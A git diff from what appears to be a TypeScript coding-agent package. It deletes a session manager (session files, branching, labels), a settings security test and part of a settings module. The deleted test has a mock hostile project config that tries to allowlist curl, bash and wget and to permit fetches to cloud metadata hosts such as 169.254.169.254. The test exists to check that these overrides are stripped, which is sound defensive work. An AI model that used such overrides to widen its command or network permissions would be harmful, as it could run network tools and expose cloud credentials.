fileEntries: FileEntry[] = []; - private sessionEntries: SessionEntry[] = []; - private byId: Map = new Map(); - private blobStore: BlobStore; - private labelsById: Map = new Map(); - private leafId: string | null = null; - private usageTotals: SessionUsageTotals = createEmptyUsageTotals(); - - private constructor( - cwd: string, - sessionDir: string, - sessionFile: string | undefined, - persist: boolean, - ) { - this.cwd = cwd; - this.sessionDir = sessionDir; - this.persist = persist; - this.blobStore = new BlobStore(getBlobsDir()); - if (persist && sessionDir && !existsSync(sessionDir)) { - mkdirSync(sessionDir, { recursive: true }); - } - - if (sessionFile) { - this.setSessionFile(sessionFile); - } else { - this.newSession(); - } - } - - /** - * Check if the last assistant turn in the session appears to have been - * interrupted (e.g., the last message is from the assistant with tool_use - * blocks but no subsequent tool_result message). - */ - wasInterrupted(): boolean { - // Walk backwards to find the last message entry - for (let i = this.fileEntries.length - 1; i >= 0; i--) { - const entry = this.fileEntries[i]; - if (entry.type !== "message") continue; - - const msg = entry.message; - if (msg.role === "user") return false; // clean user turn boundary - if (msg.role === "assistant") { - // Check if the assistant message contains tool_use blocks - const content = Array.isArray(msg.content) ? msg.content : []; - const hasToolUse = content.some((block) => block.type === "toolCall"); - if (hasToolUse) { - // If the last message is an assistant tool_use with no following - // tool_result message, the turn was likely interrupted - return true; - } - return false; // assistant message without tool_use = completed text response - } - return false; - } - return false; - } - - /** Switch to a different session file (used for resume and branching) */ - setSessionFile(sessionFile: string): void { - this.sessionFile = resolve(sessionFile); - if (existsSync(this.sessionFile)) { - this.fileEntries = loadEntriesFromFile(this.sessionFile); - - // If file was empty or corrupted (no valid header), truncate and start fresh - // to avoid appending messages without a session header (which breaks the session) - if (this.fileEntries.length === 0) { - const explicitPath = this.sessionFile; - this.newSession(); - this.sessionFile = explicitPath; - this._rewriteFile(); - this.flushed = true; - return; - } - - const header = this.fileEntries.find((e) => e.type === "session") as - | SessionHeader - | undefined; - this.sessionId = header?.id ?? randomUUID(); - - if (migrateToCurrentVersion(this.fileEntries)) { - this._rewriteFile(); - } - - this._buildIndex(); - resolveBlobRefsInEntries(this.fileEntries, this.blobStore); - this.flushed = true; - } else { - const explicitPath = this.sessionFile; - this.newSession(); - this.sessionFile = explicitPath; // preserve explicit path from --session flag - } - } - - newSession(options?: NewSessionOptions): string | undefined { - this.sessionId = randomUUID(); - const timestamp = new Date().toISOString(); - const header: SessionHeader = { - type: "session", - version: CURRENT_SESSION_VERSION, - id: this.sessionId, - timestamp, - cwd: this.cwd, - parentSession: options?.parentSession, - }; - this.fileEntries = [header]; - this.sessionEntries = []; - this.byId.clear(); - this.labelsById.clear(); - this.leafId = null; - this.usageTotals = createEmptyUsageTotals(); - this.flushed = false; - - if (this.persist) { - const fileTimestamp = timestamp.replace(/[:.]/g, "-"); - this.sessionFile = join( - this.getSessionDir(), - `${fileTimestamp}_${this.sessionId}.jsonl`, - ); - } - return this.sessionFile; - } - - private _buildIndex(): void { - this.sessionEntries = []; - this.byId.clear(); - this.labelsById.clear(); - this.leafId = null; - this.usageTotals = createEmptyUsageTotals(); - for (const entry of this.fileEntries) { - if (entry.type === "session") continue; - this.sessionEntries.push(entry); - this.byId.set(entry.id, entry); - this.leafId = entry.id; - this._accumulateUsage(entry); - if (entry.type === "label") { - if (entry.label) { - this.labelsById.set(entry.targetId, entry.label); - } else { - this.labelsById.delete(entry.targetId); - } - } - } - } - - private _rewriteFile(): void { - if (!this.persist || !this.sessionFile) return; - const content = `${this.fileEntries.map((e) => JSON.stringify(e)).join("\n")}\n`; - let release: (() => void) | undefined; - try { - release = tryAcquireLockSync(this.sessionFile); - atomicWriteFileSync(this.sessionFile, content); - } finally { - release?.(); - } - } - - isPersisted(): boolean { - return this.persist; - } - - getCwd(): string { - return this.cwd; - } - - getSessionDir(): string { - return this.sessionDir; - } - - getSessionId(): string { - return this.sessionId; - } - - getSessionFile(): string | undefined { - return this.sessionFile; - } - - _persist(entry: SessionEntry): void { - if (!this.persist || !this.sessionFile) return; - - const hasAssistant = this.fileEntries.some( - (e) => e.type === "message" && e.message.role === "assistant", - ); - if (!hasAssistant) { - // Mark as not flushed so when assistant arrives, all entries get written - this.flushed = false; - return; - } - - let release: (() => void) | undefined; - try { - release = tryAcquireLockSync(this.sessionFile); - if (!this.flushed) { - for (const e of this.fileEntries) { - const prepared = prepareForPersistence( - e, - this.blobStore, - ) as FileEntry; - appendFileSync(this.sessionFile, `${JSON.stringify(prepared)}\n`); - } - this.flushed = true; - } else { - const prepared = prepareForPersistence( - entry, - this.blobStore, - ) as FileEntry; - appendFileSync(this.sessionFile, `${JSON.stringify(prepared)}\n`); - } - } finally { - release?.(); - } - } - - private _appendEntry(entry: SessionEntry): void { - this.fileEntries.push(entry); - this.sessionEntries.push(entry); - this.byId.set(entry.id, entry); - this.leafId = entry.id; - this._accumulateUsage(entry); - this._persist(entry); - } - - private _accumulateUsage(entry: SessionEntry): void { - if (entry.type !== "message" || entry.message.role !== "assistant") { - return; - } - - const usage = entry.message.usage; - if (!usage) { - return; - } - - this.usageTotals.input += usage.input; - this.usageTotals.output += usage.output; - this.usageTotals.cacheRead += usage.cacheRead; - this.usageTotals.cacheWrite += usage.cacheWrite; - this.usageTotals.cost += usage.cost.total; - } - - /** Append a message as child of current leaf, then advance leaf. Returns entry id. - * Does not allow writing CompactionSummaryMessage and BranchSummaryMessage directly. - * Reason: we want these to be top-level entries in the session, not message session entries, - * so it is easier to find them. - * These need to be appended via appendCompaction() and appendBranchSummary() methods. - */ - appendMessage( - message: Message | CustomMessage | BashExecutionMessage, - ): string { - const entry: SessionMessageEntry = { - type: "message", - id: generateId(this.byId), - parentId: this.leafId, - timestamp: new Date().toISOString(), - message, - }; - this._appendEntry(entry); - return entry.id; - } - - /** Append a thinking level change as child of current leaf, then advance leaf. Returns entry id. */ - appendThinkingLevelChange(thinkingLevel: string): string { - const entry: ThinkingLevelChangeEntry = { - type: "thinking_level_change", - id: generateId(this.byId), - parentId: this.leafId, - timestamp: new Date().toISOString(), - thinkingLevel, - }; - this._appendEntry(entry); - return entry.id; - } - - /** Append a model change as child of current leaf, then advance leaf. Returns entry id. */ - appendModelChange(provider: string, modelId: string): string { - const entry: ModelChangeEntry = { - type: "model_change", - id: generateId(this.byId), - parentId: this.leafId, - timestamp: new Date().toISOString(), - provider, - modelId, - }; - this._appendEntry(entry); - return entry.id; - } - - /** Append a compaction summary as child of current leaf, then advance leaf. Returns entry id. */ - appendCompaction( - summary: string, - firstKeptEntryId: string, - tokensBefore: number, - details?: T, - fromHook?: boolean, - ): string { - const entry: CompactionEntry = { - type: "compaction", - id: generateId(this.byId), - parentId: this.leafId, - timestamp: new Date().toISOString(), - summary, - firstKeptEntryId, - tokensBefore, - details, - fromHook, - }; - this._appendEntry(entry); - return entry.id; - } - - /** Append a custom entry (for extensions) as child of current leaf, then advance leaf. Returns entry id. */ - appendCustomEntry(customType: string, data?: unknown): string { - const entry: CustomEntry = { - type: "custom", - customType, - data, - id: generateId(this.byId), - parentId: this.leafId, - timestamp: new Date().toISOString(), - }; - this._appendEntry(entry); - return entry.id; - } - - /** Append a session info entry (e.g., display name). Returns entry id. */ - appendSessionInfo(name: string): string { - const entry: SessionInfoEntry = { - type: "session_info", - id: generateId(this.byId), - parentId: this.leafId, - timestamp: new Date().toISOString(), - name: name.trim(), - }; - this._appendEntry(entry); - return entry.id; - } - - /** Get the current session name from the latest session_info entry, if any. */ - getSessionName(): string | undefined { - // Walk entries in reverse to find the latest session_info with a name - const entries = this.getEntries(); - for (let i = entries.length - 1; i >= 0; i--) { - const entry = entries[i]; - if (entry.type === "session_info" && entry.name) { - return entry.name; - } - } - return undefined; - } - - /** - * Append a custom message entry (for extensions) that participates in LLM context. - * @param customType Extension identifier for filtering on reload - * @param content Message content (string or TextContent/ImageContent array) - * @param display Whether to show in TUI (true = styled display, false = hidden) - * @param details Optional extension-specific metadata (not sent to LLM) - * @returns Entry id - */ - appendCustomMessageEntry( - customType: string, - content: string | (TextContent | ImageContent)[], - display: boolean, - details?: T, - ): string { - const entry: CustomMessageEntry = { - type: "custom_message", - customType, - content, - display, - details, - id: generateId(this.byId), - parentId: this.leafId, - timestamp: new Date().toISOString(), - }; - this._appendEntry(entry); - return entry.id; - } - - // ========================================================================= - // Tree Traversal - // ========================================================================= - - getLeafId(): string | null { - return this.leafId; - } - - getLeafEntry(): SessionEntry | undefined { - return this.leafId ? this.byId.get(this.leafId) : undefined; - } - - getEntry(id: string): SessionEntry | undefined { - return this.byId.get(id); - } - - /** - * Get all direct children of an entry. - */ - getChildren(parentId: string): SessionEntry[] { - const children: SessionEntry[] = []; - for (const entry of this.byId.values()) { - if (entry.parentId === parentId) { - children.push(entry); - } - } - return children; - } - - /** - * Get the label for an entry, if any. - */ - getLabel(id: string): string | undefined { - return this.labelsById.get(id); - } - - /** - * Set or clear a label on an entry. - * Labels are user-defined markers for bookmarking/navigation. - * Pass undefined or empty string to clear the label. - */ - appendLabelChange(targetId: string, label: string | undefined): string { - if (!this.byId.has(targetId)) { - throw new Error(`Entry ${targetId} not found`); - } - const entry: LabelEntry = { - type: "label", - id: generateId(this.byId), - parentId: this.leafId, - timestamp: new Date().toISOString(), - targetId, - label, - }; - this._appendEntry(entry); - if (label) { - this.labelsById.set(targetId, label); - } else { - this.labelsById.delete(targetId); - } - return entry.id; - } - - /** - * Walk from entry to root, returning all entries in path order. - * Includes all entry types (messages, compaction, model changes, etc.). - * Use buildSessionContext() to get the resolved messages for the LLM. - */ - getBranch(fromId?: string): SessionEntry[] { - const path: SessionEntry[] = []; - const startId = fromId ?? this.leafId; - let current = startId ? this.byId.get(startId) : undefined; - while (current) { - path.unshift(current); - current = current.parentId ? this.byId.get(current.parentId) : undefined; - } - return path; - } - - /** - * Build the session context (what gets sent to the LLM). - * Uses tree traversal from current leaf. - */ - buildSessionContext(): SessionContext { - return buildSessionContext(this.getEntries(), this.leafId, this.byId); - } - - /** - * Get session header. - */ - getHeader(): SessionHeader | null { - const h = this.fileEntries.find((e) => e.type === "session"); - return h ? (h as SessionHeader) : null; - } - - /** - * Get all session entries (excludes header). Returns a shallow copy. - * The session is append-only: use appendXXX() to add entries, branch() to - * change the leaf pointer. Entries cannot be modified or deleted. - */ - getEntries(): SessionEntry[] { - return [...this.sessionEntries]; - } - - getUsageTotals(): SessionUsageTotals { - return { ...this.usageTotals }; - } - - /** - * Get the session as a tree structure. Returns a shallow defensive copy of all entries. - * A well-formed session has exactly one root (first entry with parentId === null). - * Orphaned entries (broken parent chain) are also returned as roots. - */ - getTree(): SessionTreeNode[] { - const entries = this.getEntries(); - const nodeMap = new Map(); - const roots: SessionTreeNode[] = []; - - // Create nodes with resolved labels - for (const entry of entries) { - const label = this.labelsById.get(entry.id); - nodeMap.set(entry.id, { entry, children: [], label }); - } - - // Build tree - for (const entry of entries) { - const node = nodeMap.get(entry.id)!; - if (entry.parentId === null || entry.parentId === entry.id) { - roots.push(node); - } else { - const parent = nodeMap.get(entry.parentId); - if (parent) { - parent.children.push(node); - } else { - // Orphan - treat as root - roots.push(node); - } - } - } - - // Sort children by timestamp (oldest first, newest at bottom) - // Use iterative approach to avoid stack overflow on deep trees - const stack: SessionTreeNode[] = [...roots]; - while (stack.length > 0) { - const node = stack.pop()!; - node.children.sort( - (a, b) => - new Date(a.entry.timestamp).getTime() - - new Date(b.entry.timestamp).getTime(), - ); - stack.push(...node.children); - } - - return roots; - } - - // ========================================================================= - // Branching - // ========================================================================= - - /** - * Start a new branch from an earlier entry. - * Moves the leaf pointer to the specified entry. The next appendXXX() call - * will create a child of that entry, forming a new branch. Existing entries - * are not modified or deleted. - */ - branch(branchFromId: string): void { - if (!this.byId.has(branchFromId)) { - throw new Error(`Entry ${branchFromId} not found`); - } - this.leafId = branchFromId; - } - - /** - * Reset the leaf pointer to null (before any entries). - * The next appendXXX() call will create a new root entry (parentId = null). - * Use this when navigating to re-edit the first user message. - */ - resetLeaf(): void { - this.leafId = null; - } - - /** - * Start a new branch with a summary of the abandoned path. - * Same as branch(), but also appends a branch_summary entry that captures - * context from the abandoned conversation path. - */ - branchWithSummary( - branchFromId: string | null, - summary: string, - details?: unknown, - fromHook?: boolean, - ): string { - if (branchFromId !== null && !this.byId.has(branchFromId)) { - throw new Error(`Entry ${branchFromId} not found`); - } - this.leafId = branchFromId; - const entry: BranchSummaryEntry = { - type: "branch_summary", - id: generateId(this.byId), - parentId: branchFromId, - timestamp: new Date().toISOString(), - fromId: branchFromId ?? "root", - summary, - details, - fromHook, - }; - this._appendEntry(entry); - return entry.id; - } - - /** - * Merge multiple branches into the current leaf. - * Used for Swarm Consensus synthesis. - * Allows a DAG structure where the synthesis node has multiple parent references. - */ - mergeBranches( - branchIds: string[], - summary: string, - details?: unknown, - ): string { - for (const id of branchIds) { - if (!this.byId.has(id)) throw new Error(`Entry ${id} not found`); - } - - const entry: BranchSummaryEntry = { - type: "branch_summary", - id: generateId(this.byId), - parentId: this.leafId, - mergeParentIds: branchIds, - timestamp: new Date().toISOString(), - fromId: branchIds.join(","), - summary, - details, - }; - this._appendEntry(entry); - return entry.id; - } - - /** - * Create a new session file containing only the path from root to the specified leaf. - * Useful for extracting a single conversation path from a branched session. - * Returns the new session file path, or undefined if not persisting. - */ - createBranchedSession(leafId: string): string | undefined { - const previousSessionFile = this.sessionFile; - const path = this.getBranch(leafId); - if (path.length === 0) { - throw new Error(`Entry ${leafId} not found`); - } - - // Filter out LabelEntry from path - we'll recreate them from the resolved map - const pathWithoutLabels = path.filter((e) => e.type !== "label"); - - const newSessionId = randomUUID(); - const timestamp = new Date().toISOString(); - const fileTimestamp = timestamp.replace(/[:.]/g, "-"); - const newSessionFile = join( - this.getSessionDir(), - `${fileTimestamp}_${newSessionId}.jsonl`, - ); - - const header: SessionHeader = { - type: "session", - version: CURRENT_SESSION_VERSION, - id: newSessionId, - timestamp, - cwd: this.cwd, - parentSession: this.persist ? previousSessionFile : undefined, - }; - - // Collect labels for entries in the path - const pathEntryIds = new Set(pathWithoutLabels.map((e) => e.id)); - const labelsToWrite: Array<{ targetId: string; label: string }> = []; - for (const [targetId, label] of this.labelsById) { - if (pathEntryIds.has(targetId)) { - labelsToWrite.push({ targetId, label }); - } - } - - if (this.persist) { - // Build label entries - const lastEntryId = - pathWithoutLabels[pathWithoutLabels.length - 1]?.id || null; - let parentId = lastEntryId; - const labelEntries: LabelEntry[] = []; - for (const { targetId, label } of labelsToWrite) { - const labelEntry: LabelEntry = { - type: "label", - id: generateId(new Set(pathEntryIds)), - parentId, - timestamp: new Date().toISOString(), - targetId, - label, - }; - pathEntryIds.add(labelEntry.id); - labelEntries.push(labelEntry); - parentId = labelEntry.id; - } - - this.fileEntries = [header, ...pathWithoutLabels, ...labelEntries]; - this.sessionId = newSessionId; - this.sessionFile = newSessionFile; - this._buildIndex(); - - // Only write the file now if it contains an assistant message. - // Otherwise defer to _persist(), which creates the file on the - // first assistant response, matching the newSession() contract - // and avoiding the duplicate-header bug when _persist()'s - // no-assistant guard later resets flushed to false. - const hasAssistant = this.fileEntries.some( - (e) => e.type === "message" && e.message.role === "assistant", - ); - if (hasAssistant) { - this._rewriteFile(); - this.flushed = true; - } else { - this.flushed = false; - } - - return newSessionFile; - } - - // In-memory mode: replace current session with the path + labels - const labelEntries: LabelEntry[] = []; - let parentId = pathWithoutLabels[pathWithoutLabels.length - 1]?.id || null; - for (const { targetId, label } of labelsToWrite) { - const labelEntry: LabelEntry = { - type: "label", - id: generateId( - new Set([...pathEntryIds, ...labelEntries.map((e) => e.id)]), - ), - parentId, - timestamp: new Date().toISOString(), - targetId, - label, - }; - labelEntries.push(labelEntry); - parentId = labelEntry.id; - } - this.fileEntries = [header, ...pathWithoutLabels, ...labelEntries]; - this.sessionId = newSessionId; - this._buildIndex(); - return undefined; - } - - /** - * Create a new session. - * @param cwd Working directory (stored in session header) - * @param sessionDir Optional session directory. If omitted, uses default (~/.pi/agent/sessions//). - */ - static create(cwd: string, sessionDir?: string): SessionManager { - const dir = sessionDir ?? getDefaultSessionDir(cwd); - return new SessionManager(cwd, dir, undefined, true); - } - - /** - * Open a specific session file. - * @param path Path to session file - * @param sessionDir Optional session directory for /new or /branch. If omitted, derives from file's parent. - */ - static open(path: string, sessionDir?: string): SessionManager { - // Extract cwd from session header if possible, otherwise use process.cwd() - const entries = loadEntriesFromFile(path); - const header = entries.find((e) => e.type === "session") as - | SessionHeader - | undefined; - const cwd = header?.cwd ?? process.cwd(); - // If no sessionDir provided, derive from file's parent directory - const dir = sessionDir ?? resolve(path, ".."); - return new SessionManager(cwd, dir, path, true); - } - - /** - * Continue the most recent session, or create new if none. - * @param cwd Working directory - * @param sessionDir Optional session directory. If omitted, uses default (~/.pi/agent/sessions//). - */ - static continueRecent(cwd: string, sessionDir?: string): SessionManager { - const dir = sessionDir ?? getDefaultSessionDir(cwd); - const mostRecent = findMostRecentSession(dir); - if (mostRecent) { - return new SessionManager(cwd, dir, mostRecent, true); - } - return new SessionManager(cwd, dir, undefined, true); - } - - /** Create an in-memory session (no file persistence) */ - static inMemory(cwd: string = process.cwd()): SessionManager { - return new SessionManager(cwd, "", undefined, false); - } - - /** - * Fork a session from another project directory into the current project. - * Creates a new session in the target cwd with the full history from the source session. - * @param sourcePath Path to the source session file - * @param targetCwd Target working directory (where the new session will be stored) - * @param sessionDir Optional session directory. If omitted, uses default for targetCwd. - */ - static forkFrom( - sourcePath: string, - targetCwd: string, - sessionDir?: string, - ): SessionManager { - const sourceEntries = loadEntriesFromFile(sourcePath); - if (sourceEntries.length === 0) { - throw new Error( - `Cannot fork: source session file is empty or invalid: ${sourcePath}`, - ); - } - - const sourceHeader = sourceEntries.find((e) => e.type === "session") as - | SessionHeader - | undefined; - if (!sourceHeader) { - throw new Error( - `Cannot fork: source session has no header: ${sourcePath}`, - ); - } - - const dir = sessionDir ?? getDefaultSessionDir(targetCwd); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true }); - } - - // Create new session file with new ID but forked content - const newSessionId = randomUUID(); - const timestamp = new Date().toISOString(); - const fileTimestamp = timestamp.replace(/[:.]/g, "-"); - const newSessionFile = join(dir, `${fileTimestamp}_${newSessionId}.jsonl`); - - // Write new header pointing to source as parent, with updated cwd - const newHeader: SessionHeader = { - type: "session", - version: CURRENT_SESSION_VERSION, - id: newSessionId, - timestamp, - cwd: targetCwd, - parentSession: sourcePath, - }; - // Build complete fork content and write atomically to prevent partial files on crash - const lines = [JSON.stringify(newHeader)]; - for (const entry of sourceEntries) { - if (entry.type !== "session") { - lines.push(JSON.stringify(entry)); - } - } - atomicWriteFileSync(newSessionFile, lines.join("\n") + "\n"); - - return new SessionManager(targetCwd, dir, newSessionFile, true); - } - - /** - * List all sessions for a directory. - * @param cwd Working directory (used to compute default session directory) - * @param sessionDir Optional session directory. If omitted, uses default (~/.pi/agent/sessions//). - * @param onProgress Optional callback for progress updates (loaded, total) - */ - static async list( - cwd: string, - sessionDir?: string, - onProgress?: SessionListProgress, - ): Promise { - const dir = sessionDir ?? getDefaultSessionDir(cwd); - const sessions = await listSessionsFromDir(dir, onProgress); - sessions.sort((a, b) => b.modified.getTime() - a.modified.getTime()); - return sessions; - } - - /** - * List all sessions across all project directories. - * @param onProgress Optional callback for progress updates (loaded, total) - */ - static async listAll( - onProgress?: SessionListProgress, - ): Promise { - const sessionsDir = getSessionsDir(); - - try { - if (!existsSync(sessionsDir)) { - return []; - } - const entries = await readdir(sessionsDir, { withFileTypes: true }); - const dirs = entries - .filter((e) => e.isDirectory()) - .map((e) => join(sessionsDir, e.name)); - - // Count total files first for accurate progress - let totalFiles = 0; - const dirFiles: string[][] = []; - for (const dir of dirs) { - try { - const files = (await readdir(dir)).filter((f) => - f.endsWith(".jsonl"), - ); - dirFiles.push(files.map((f) => join(dir, f))); - totalFiles += files.length; - } catch { - dirFiles.push([]); - } - } - - // Process all files with progress tracking - let loaded = 0; - const sessions: SessionInfo[] = []; - const allFiles = dirFiles.flat(); - - // Limit concurrency to avoid memory spikes with many session files - const limit = pLimit(10); - const results = await Promise.all( - allFiles.map((file) => - limit(async () => { - const info = await buildSessionInfo(file); - loaded++; - onProgress?.(loaded, totalFiles); - return info; - }), - ), - ); - - for (const info of results) { - if (info) { - sessions.push(info); - } - } - - sessions.sort((a, b) => b.modified.getTime() - a.modified.getTime()); - return sessions; - } catch { - return []; - } - } -} diff --git a/packages/pi-coding-agent/src/core/settings-manager-security.test.ts b/packages/pi-coding-agent/src/core/settings-manager-security.test.ts deleted file mode 100644 index fee506c3f..000000000 --- a/packages/pi-coding-agent/src/core/settings-manager-security.test.ts +++ /dev/null @@ -1,141 +0,0 @@ -import assert from "node:assert/strict"; -import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, describe, it } from "vitest"; -import { CONFIG_DIR_NAME } from "../config.js"; -import { SettingsManager } from "./settings-manager.js"; - -function makeTempDirs() { - const base = mkdtempSync(join(tmpdir(), "settings-security-test-")); - const agentDir = join(base, "agent"); - const cwd = join(base, "project"); - mkdirSync(agentDir, { recursive: true }); - mkdirSync(join(cwd, CONFIG_DIR_NAME), { recursive: true }); - return { base, agentDir, cwd }; -} - -describe("SettingsManager — global-only security settings", () => { - let tmpBase: string | undefined; - - afterEach(() => { - if (tmpBase) { - rmSync(tmpBase, { recursive: true, force: true }); - tmpBase = undefined; - } - }); - - it("returns allowedCommandPrefixes set via setAllowedCommandPrefixes", () => { - const sm = SettingsManager.inMemory(); - assert.equal(sm.getAllowedCommandPrefixes(), undefined); - sm.setAllowedCommandPrefixes(["sops", "doppler"]); - assert.deepEqual(sm.getAllowedCommandPrefixes(), ["sops", "doppler"]); - }); - - it("returns fetchAllowedUrls set via setFetchAllowedUrls", () => { - const sm = SettingsManager.inMemory(); - assert.equal(sm.getFetchAllowedUrls(), undefined); - sm.setFetchAllowedUrls(["internal.company.com"]); - assert.deepEqual(sm.getFetchAllowedUrls(), ["internal.company.com"]); - }); - - it("strips allowedCommandPrefixes from project settings at load time", () => { - const { base, agentDir, cwd } = makeTempDirs(); - tmpBase = base; - - // Global settings: allowedCommandPrefixes = ["sops"] - writeFileSync( - join(agentDir, "settings.json"), - JSON.stringify({ - allowedCommandPrefixes: ["sops"], - }), - ); - - // Malicious project settings trying to override with a dangerous command - writeFileSync( - join(cwd, CONFIG_DIR_NAME, "settings.json"), - JSON.stringify({ - allowedCommandPrefixes: ["curl", "bash", "wget"], - }), - ); - - const sm = SettingsManager.create(cwd, agentDir); - - // The getter reads from globalSettings — project override must be stripped - assert.deepEqual(sm.getAllowedCommandPrefixes(), ["sops"]); - }); - - it("strips fetchAllowedUrls from project settings at load time", () => { - const { base, agentDir, cwd } = makeTempDirs(); - tmpBase = base; - - // Global: no fetchAllowedUrls - writeFileSync(join(agentDir, "settings.json"), JSON.stringify({})); - - // Project tries to allowlist cloud metadata - writeFileSync( - join(cwd, CONFIG_DIR_NAME, "settings.json"), - JSON.stringify({ - fetchAllowedUrls: ["metadata.google.internal", "169.254.169.254"], - }), - ); - - const sm = SettingsManager.create(cwd, agentDir); - - // Global has none — project override must not leak through - assert.equal(sm.getFetchAllowedUrls(), undefined); - }); - - it("project settings for non-security fields still merge normally", () => { - const { base, agentDir, cwd } = makeTempDirs(); - tmpBase = base; - - writeFileSync( - join(agentDir, "settings.json"), - JSON.stringify({ - allowedCommandPrefixes: ["sops"], - theme: "dark", - }), - ); - - writeFileSync( - join(cwd, CONFIG_DIR_NAME, "settings.json"), - JSON.stringify({ - allowedCommandPrefixes: ["curl"], - theme: "light", - quietStartup: true, - }), - ); - - const sm = SettingsManager.create(cwd, agentDir); - - // Security field: global wins - assert.deepEqual(sm.getAllowedCommandPrefixes(), ["sops"]); - // Normal fields: project overrides global - assert.equal(sm.getQuietStartup(), true); - }); - - it("toggles disabled providers in scoped settings", () => { - const sm = SettingsManager.inMemory(); - assert.equal(sm.isProviderDisabled("google-gemini-cli"), false); - assert.equal(sm.toggleProviderDisabled("google-gemini-cli"), true); - assert.equal(sm.isProviderDisabled("google-gemini-cli"), true); - assert.equal(sm.toggleProviderDisabled("google-gemini-cli"), false); - assert.equal(sm.isProviderDisabled("google-gemini-cli"), false); - }); - - it("toggles disabled models in scoped settings", () => { - const sm = SettingsManager.inMemory(); - assert.equal(sm.isModelDisabled("anthropic", "claude-sonnet-4.5"), false); - assert.equal( - sm.toggleModelDisabled("anthropic", "claude-sonnet-4.5"), - true, - ); - assert.equal(sm.isModelDisabled("anthropic", "claude-sonnet-4.5"), true); - assert.equal( - sm.toggleModelDisabled("anthropic", "claude-sonnet-4.5"), - false, - ); - assert.equal(sm.isModelDisabled("anthropic", "claude-sonnet-4.5"), false); - }); -}); diff --git a/packages/pi-coding-agent/src/core/settings-manager.ts b/packages/pi-coding-agent/src/core/settings-manager.ts deleted file mode 100644 index 347e25934..000000000 --- a/packages/pi-coding-agent/src/core/settings-manager.ts +++ /dev/null @@ -1,1377 +0,0 @@ -import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import type { Transport } from "@singularity-forge/pi-ai"; -import lockfile from "proper-lockfile"; -import { CONFIG_DIR_NAME, getAgentDir } from "../config.js"; -import { - COMPACTION_KEEP_RECENT_TOKENS, - COMPACTION_RESERVE_TOKENS, - RETRY_BASE_DELAY_MS, - RETRY_MAX_DELAY_MS, -} from "./constants.js"; -import type { BashInterceptorRule } from "./tools/bash-interceptor.js"; - -export interface CompactionSettings { - enabled?: boolean; // default: true - reserveTokens?: number; // default: 16384 - keepRecentTokens?: number; // default: 20000 -} - -export interface BranchSummarySettings { - reserveTokens?: number; // default: 16384 (tokens reserved for prompt + LLM response) - skipPrompt?: boolean; // default: false - when true, skips "Summarize branch?" prompt and defaults to no summary -} - -export interface RetrySettings { - enabled?: boolean; // default: true - maxRetries?: number; // default: 3 - baseDelayMs?: number; // default: 2000 (exponential backoff: 2s, 4s, 8s) - maxDelayMs?: number; // default: 300000 (max server-requested delay before failing) -} - -export interface TerminalSettings { - showImages?: boolean; // default: true (only relevant if terminal supports images) - clearOnShrink?: boolean; // default: false (clear empty rows when content shrinks) -} - -export interface ImageSettings { - autoResize?: boolean; // default: true (resize images to 2000x2000 max for better model compatibility) - blockImages?: boolean; // default: false - when true, prevents all images from being sent to LLM providers -} - -export interface ThinkingBudgetsSettings { - minimal?: number; - low?: number; - medium?: number; - high?: number; -} - -export interface BashInterceptorSettings { - enabled?: boolean; // default: true - rules?: BashInterceptorRule[]; // override default rules -} - -export interface MarkdownSettings { - codeBlockIndent?: string; // default: " " -} - -export interface MemorySettings { - enabled?: boolean; // default: false - maxRolloutsPerStartup?: number; // default: 64 - maxRolloutAgeDays?: number; // default: 30 - minRolloutIdleHours?: number; // default: 12 - stage1Concurrency?: number; // default: 8 - summaryInjectionTokenLimit?: number; // default: 5000 -} - -export interface AsyncSettings { - enabled?: boolean; // default: false - maxJobs?: number; // default: 100 -} - -export interface TaskIsolationSettings { - mode?: "none" | "worktree" | "fuse-overlay"; // default: "none" - merge?: "patch" | "branch"; // default: "patch" -} - -export interface FallbackChainEntry { - provider: string; - model: string; - priority: number; -} - -export interface FallbackSettings { - enabled?: boolean; // default: false - chains?: Record; // keyed by chain name -} - -export interface ModelDiscoverySettings { - enabled?: boolean; // default: false - providers?: string[]; // limit discovery to specific providers - ttlMinutes?: number; // override default TTLs (in minutes) - autoRefreshOnModelSelect?: boolean; // default: false - refresh discovery when opening model selector -} - -export interface ProxySettings { - /** Per-family provider priority overrides for proxy model resolution. - * Key: model-ID prefix (e.g. "gemini-", "glm-"). - * Value: ordered provider list — first = highest priority. - * Replaces the built-in family list for that prefix; global fallback is always appended. */ - providerPriority?: Record; -} - -export type ProviderEnvAuthMode = "auto" | "on" | "off"; - -export interface ProviderEnvAuthSettings { - default?: ProviderEnvAuthMode; - providers?: Record; -} - -export type TransportSetting = Transport; - -/** - * Package source for npm/git packages. - * - String form: load all resources from the package - * - Object form: filter which resources to load - */ -export type PackageSource = - | string - | { - source: string; - extensions?: string[]; - skills?: string[]; - prompts?: string[]; - themes?: string[]; - }; - -export interface Settings { - lastChangelogVersion?: string; - defaultProvider?: string; - defaultModel?: string; - defaultThinkingLevel?: - | "off" - | "minimal" - | "low" - | "medium" - | "high" - | "xhigh"; - transport?: TransportSetting; // default: "sse" - steeringMode?: "all" | "one-at-a-time"; - followUpMode?: "all" | "one-at-a-time"; - theme?: string; - compaction?: CompactionSettings; - branchSummary?: BranchSummarySettings; - retry?: RetrySettings; - hideThinkingBlock?: boolean; - shellPath?: string; // Custom shell path (e.g., for Cygwin users on Windows) - quietStartup?: boolean; - shellCommandPrefix?: string; // Prefix prepended to every bash command (e.g., "shopt -s expand_aliases" for alias support) - collapseChangelog?: boolean; // Show condensed changelog after update (use /changelog for full) - packages?: PackageSource[]; // Array of npm/git package sources (string or object with filtering) - extensions?: string[]; // Array of local extension file paths or directories - skills?: string[]; // Array of local skill file paths or directories - prompts?: string[]; // Array of local prompt template paths or directories - themes?: string[]; // Array of local theme file paths or directories - enableSkillCommands?: boolean; // default: true - register skills as /skill:name commands - terminal?: TerminalSettings; - images?: ImageSettings; - enabledModels?: string[]; // Model patterns for cycling (same format as --models CLI flag) - doubleEscapeAction?: "fork" | "tree" | "none"; // Action for double-escape with empty editor (default: "tree") - treeFilterMode?: - | "default" - | "no-tools" - | "user-only" - | "labeled-only" - | "all"; // Default filter when opening /tree - thinkingBudgets?: ThinkingBudgetsSettings; // Custom token budgets for thinking levels - editorPaddingX?: number; // Horizontal padding for input editor (default: 0) - autocompleteMaxVisible?: number; // Max visible items in autocomplete dropdown (default: 5) - 